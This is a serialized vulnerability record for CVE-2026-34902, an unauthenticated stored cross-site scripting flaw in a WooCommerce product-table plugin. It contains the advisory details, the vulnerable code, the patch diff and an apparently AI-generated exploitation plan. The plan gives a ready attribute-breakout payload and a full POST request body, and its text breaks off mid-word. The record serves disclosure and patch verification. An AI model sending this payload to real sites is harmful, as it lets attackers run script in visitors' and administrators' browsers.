[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ffm5KCHNxtKz6xADW9r-TzQ8hHzWxh2owf66cwOc77Tw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-34902","product-table-and-list-builder-for-woocommerce-lite-unauthenticated-stored-cross-site-scripting","Product Table and List Builder for WooCommerce Lite \u003C= 4.6.3 - Unauthenticated Stored Cross-Site Scripting","The Product Table and List Builder for WooCommerce Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.6.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wc-product-table-lite",null,"\u003C=4.6.3","4.6.4","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-07 00:00:00","2026-04-13 21:12:07",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F35ac7049-6453-4235-82bd-d2bc6ffccabe?source=api-prod",7,[22,23,24,25],"main.php","preview-form\u002Fpreview-form.php","readme.txt","templates\u002Fcontainer-open.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-34902\n\n## 1. Vulnerability Summary\nThe **Product Table and List Builder for WooCommerce Lite** plugin (up to version 4.6.3) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. \n\nThe vulnerability exists in the `wcpt_process_preview_form()` function within `preview-form\u002Fpreview-form.php`. This function is hooked to `template_redirect` and processes POST requests directed at `wc_product_table` post types. It fails to perform any authorization checks (e.g., `current_user_can()`) or CSRF validation (nonces). \n\nAn attacker can update the `wcpt_preview_template_shortcode` post meta for any product table post. While the input is passed through `sanitize_text_field()`, this function only strips HTML tags and does not prevent attribute breakout via quotes. When the table is rendered, the malicious shortcode attribute is echoed without escaping in `templates\u002Fcontainer-open.php`, leading to XSS.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** Any public-facing URL of a `wc_product_table` post.\n- **Hook:** `template_redirect` calls `wcpt_process_preview_form()`.\n- **HTTP Method:** `POST`\n- **Vulnerable Parameters:** \n    - `wcpt_preview_template_shortcode`: Carries the malicious shortcode with attribute-based XSS payload.\n    - `wcpt_preview_template_submit`: Must be set to trigger the processing logic.\n- **Authentication:** Unauthenticated (No capability or nonce checks).\n- **Preconditions:** At least one `wc_product_table` post must exist and be publicly accessible.\n\n## 3. Code Flow\n1. **Entry Point:** A user sends a `POST` request to a `wc_product_table` post URL.\n2. **Trigger:** `preview-form\u002Fpreview-form.php` registers `add_action('template_redirect', 'wcpt_process_preview_form');`.\n3. **Vulnerable Logic (`wcpt_process_preview_form`):**\n    - Checks if `$_POST['wcpt_preview_template_submit']` is set.\n    - Verifies the global `$post->post_type` is `wc_product_table`.\n    - **No Nonce\u002FCapability Check.**\n    - Retrieves `$_POST['wcpt_preview_template_shortcode']`.\n    - Applies `sanitize_text_field($shortcode)`. (Note: This strips tags like `\u003Cscript>` but preserves quotes and attribute strings like `onmouseover`).\n    - Executes `update_post_meta($post->ID, 'wcpt_preview_template_shortcode', $shortcode);`.\n4. **Sink (Rendering):**\n    - The function redirects back to the post URL.\n    - `wcpt_display_table_shortcode()` (filtered on `the_content`) retrieves the malicious meta.\n    - It executes `do_shortcode($shortcode)`.\n    - The shortcode handler eventually includes `templates\u002Fcontainer-open.php`.\n    - **Final Sink:** `templates\u002Fcontainer-open.php` echoes the class attribute:\n      ```php\n      $html_class = trim(apply_filters('wcpt_container_html_class', ... trim($this->attributes['class']) ...));\n      ?>\n      \u003Cdiv id=\"...\" class=\"\u003C?php echo $html_class; ?>\" ...>\n      ```\n      The `$html_class` variable contains the attacker's injected attribute, which breaks out of the `class` attribute and executes JavaScript.\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\nThe function `wcpt_process_preview_form()` in `preview-form\u002Fpreview-form.php` lacks any call to `check_admin_referer()`, `check_ajax_referer()`, or `wp_verify_nonce()`. It processes the `POST` request purely based on the presence of the `wcpt_preview_template_submit` parameter.\n\n## 5. Exploitation Strategy\nThe goal is to inject a shortcode attribute that breaks out of the `class=\"...\"` container and adds an event handler.\n\n1.  **Identify Target:** Find the URL of a `wc_product_table` post (e.g., `http:\u002F\u002Flocalhost:8080\u002Fwc_product_table\u002Fmy-table\u002F`).\n2.  **Craft Payload:** \n    - Shortcode: `[product_table class='x\" onmouseover=\"alert(document.domain)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;\"']`\n    - This payload is safe from `sanitize_text_field` as it contains no `\u003C >` tags.\n    - The `style` attribute ensures the `div` covers the viewport, making the `onmouseover` event easy to trigger.\n3.  **Execute Attack:** Send a `POST` request to the target URL.\n    - **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwc_product_table\u002F[TABLE_SLUG]\u002F`\n    - **Body (URL-encoded):**\n      ```\n      wcpt_preview_template_submit=1&wcpt_preview_template_shortcode=[product_table class='x\" onmouseover=\"alert(document.domain)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;\"']&wcpt_preview_template=product_table_preview\n      ```\n    - **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n4.  **Trigger:** Navigate to the table URL. Moving the mouse anywhere on the page will trigger the `alert(document.domain)`.\n\n## 6. Test Data Setup\n1.  **Dependencies:** Ensure **WooCommerce** is installed and active.\n2.  **Create Product Table:** Use WP-CLI to create a target post:\n    ```bash\n    wp post create --post_type=wc_product_table --post_status=publish --post_title=\"Vulnerable Table\" --post_name=\"vulnerable-table\"\n    ```\n3.  **Identify URL:** The URL will typically be `http:\u002F\u002Flocalhost:8080\u002Fwc_product_table\u002Fvulnerable-table\u002F`.\n\n## 7. Expected Results\n- The `POST` request should return a `302 Redirect` back to the table post.\n- The `wcpt_preview_template_shortcode` meta for that post ID will be updated to the malicious shortcode.\n- When viewing the post HTML source, the container `div` will look like:\n  ```html\n  \u003Cdiv id=\"wcpt-...\" class=\"wcpt wcpt-... x\" onmouseover=\"alert(document.domain)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;\" \" ...>\n  ```\n\n## 8. Verification Steps\n1.  **Check Meta Value:** Use WP-CLI to verify the meta was stored:\n    ```bash\n    wp post meta get $(wp post list --name=\"vulnerable-table\" --post_type=wc_product_table --format=ids) wcpt_preview_template_shortcode\n    ```\n2.  **Check HTML Response:** Use `http_request` to fetch the table page and search for the payload:\n    ```bash\n    # Search for the onmouseover handler in the response body\n    onmouseover=\"alert(document.domain)\"\n    ```\n\n## 9. Alternative Approaches\n### Vector: Option Injection\nThe `wcpt_process_preview_form()` function also updates global options:\n- `wcpt_preview_template`\n- `wcpt_preview_template_max_width`\n\nAn attacker can inject CSS into the `max_","The Product Table and List Builder for WooCommerce Lite plugin is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to missing authorization and CSRF checks in the wcpt_process_preview_form function. Attackers can submit a malicious shortcode containing attribute-based payloads to any product table post, which is then stored in post meta and rendered without proper attribute escaping in the frontend.","\u002F\u002F preview-form\u002Fpreview-form.php lines 3-25\nadd_action('template_redirect', 'wcpt_process_preview_form');\nfunction wcpt_process_preview_form()\n{\n  global $post;\n\n  if (\n    !isset($_POST['wcpt_preview_template_submit']) ||\n    !$post ||\n    $post->post_type !== 'wc_product_table'\n  ) {\n    return;\n  }\n\n  \u002F\u002F Save shortcode if provided, otherwise use default\n  $shortcode = !empty($_POST['wcpt_preview_template_shortcode']) ?\n    sanitize_text_field($_POST['wcpt_preview_template_shortcode']) :\n    '[product_table id=\"' . $post->ID . '\"]';\n  update_post_meta($post->ID, 'wcpt_preview_template_shortcode', $shortcode);\n\n---\n\n\u002F\u002F templates\u002Fcontainer-open.php lines 7-10\n$table_data = wcpt_get_table_data();\n$html_class = trim(apply_filters('wcpt_container_html_class', 'wcpt wcpt-' . $table_data['id'] . ' ' . trim($this->attributes['class']) . ' ' . trim($this->attributes['html_class'])));\n\n?>\n\u003Cdiv id=\"wcpt-\u003C?php echo $table_data['id']; ?>\" class=\"\u003C?php echo $html_class; ?>\" \u003C?php echo wcpt_get_container_attributes(); ?>>","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-product-table-lite\u002F4.6.3\u002Fpreview-form\u002Fpreview-form.php\t2026-02-10 10:33:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-product-table-lite\u002F4.6.4\u002Fpreview-form\u002Fpreview-form.php\t2026-03-22 10:32:44.000000000 +0000\n@@ -13,6 +13,17 @@\n     return;\n   }\n \n+  if (\n+    !isset($_POST['wcpt_preview_nonce']) ||\n+    !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['wcpt_preview_nonce'])), 'wcpt_preview_form')\n+  ) {\n+    return;\n+  }\n+\n+  if (!current_user_can('edit_wc_product_table', $post->ID)) {\n+    return;\n+  }\n+\n   \u002F\u002F Save shortcode if provided, otherwise use default\n   $shortcode = !empty($_POST['wcpt_preview_template_shortcode']) ?\n     sanitize_text_field($_POST['wcpt_preview_template_shortcode']) :\n@@ -151,6 +162,10 @@\n   }\n \n   $post_id = get_the_ID();\n+  if (!current_user_can('edit_wc_product_table', $post_id)) {\n+    return;\n+  }\n+\n   $saved_shortcode = get_post_meta($post_id, 'wcpt_preview_template_shortcode', true);\n   $template_option = get_option('wcpt_preview_template', 'product_table_preview');\n   $max_width = get_option('wcpt_preview_template_max_width', '1400px');\n@@ -165,7 +180,7 @@\n         \u003Cdiv class=\"wcpt-preview-form-row wcpt-preview-form-shortcode-container\">\n           \u003Clabel>Table Shortcode:\u003C\u002Flabel>\n           \u003Cdiv class=\"wcpt-preview-form-shortcode-wrapper\">\n-            \u003Cinput type=\"text\" name=\"wcpt_preview_template_shortcode\" placeholder='\u003C?php echo $default_shortcode; ?>'\n+            \u003Cinput type=\"text\" name=\"wcpt_preview_template_shortcode\" placeholder=\"\u003C?php echo esc_attr($default_shortcode); ?>\"\n               value=\"\u003C?php echo $saved_shortcode ? esc_attr($saved_shortcode) : esc_attr($default_shortcode); ?>\"\n               data-default=\"\u003C?php echo esc_attr($default_shortcode); ?>\">\n             \u003Cbutton type=\"button\" class=\"wcpt-preview-form-reset-icon\" title=\"Reset product table shortcode\">↻\u003C\u002Fbutton>\n@@ -199,6 +214,7 @@\n         \u003C\u002Fdiv>\n \n         \u003Cinput type=\"hidden\" name=\"wcpt_preview_template_submit\" value=\"1\">\n+        \u003C?php wp_nonce_field('wcpt_preview_form', 'wcpt_preview_nonce'); ?>\n         \u003Cinput type=\"submit\" value=\"Submit\">\n       \u003C\u002Fdiv>\n     \u003C\u002Ffieldset>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-product-table-lite\u002F4.6.3\u002Ftemplates\u002Fcontainer-open.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-product-table-lite\u002F4.6.4\u002Ftemplates\u002Fcontainer-open.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-product-table-lite\u002F4.6.3\u002Ftemplates\u002Fcontainer-open.php\t2026-02-10 10:33:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-product-table-lite\u002F4.6.4\u002Ftemplates\u002Fcontainer-open.php\t2026-03-22 10:32:44.000000000 +0000\n@@ -7,4 +7,4 @@\n $html_class = trim(apply_filters('wcpt_container_html_class', 'wcpt wcpt-' . $table_data['id'] . ' ' . trim($this->attributes['class']) . ' ' . trim($this->attributes['html_class'])));\n \n ?>\n-\u003Cdiv id=\"wcpt-\u003C?php echo $table_data['id']; ?>\" class=\"\u003C?php echo $html_class; ?>\" \u003C?php echo wcpt_get_container_attributes(); ?>\n\\ No newline at end of file\n+\u003Cdiv id=\"wcpt-\u003C?php echo esc_attr($table_data['id']); ?>\" class=\"\u003C?php echo esc_attr($html_class); ?>\" \u003C?php echo wcpt_get_container_attributes(); ?>\n\\ No newline at end of file","To exploit this vulnerability, an unauthenticated attacker identifies the public URL of a product table post (post_type 'wc_product_table'). The attacker then sends a POST request to this URL with 'wcpt_preview_template_submit' set to 1 and 'wcpt_preview_template_shortcode' containing a payload designed to break out of an HTML attribute, such as [product_table class='x\" onmouseover=\"alert(document.domain)\"']. Because the plugin lacks authorization and nonce checks in the wcpt_process_preview_form function, it accepts the request and updates the post meta. When the page is subsequently viewed, the plugin executes the shortcode and renders the class attribute without escaping, resulting in the execution of the injected JavaScript.","gemini-3-flash-preview","2026-04-17 21:04:16","2026-04-17 21:05:10",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","4.6.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-product-table-lite\u002Ftags\u002F4.6.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-product-table-lite.4.6.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-product-table-lite\u002Ftags\u002F4.6.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-product-table-lite.4.6.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-product-table-lite\u002Ftags"]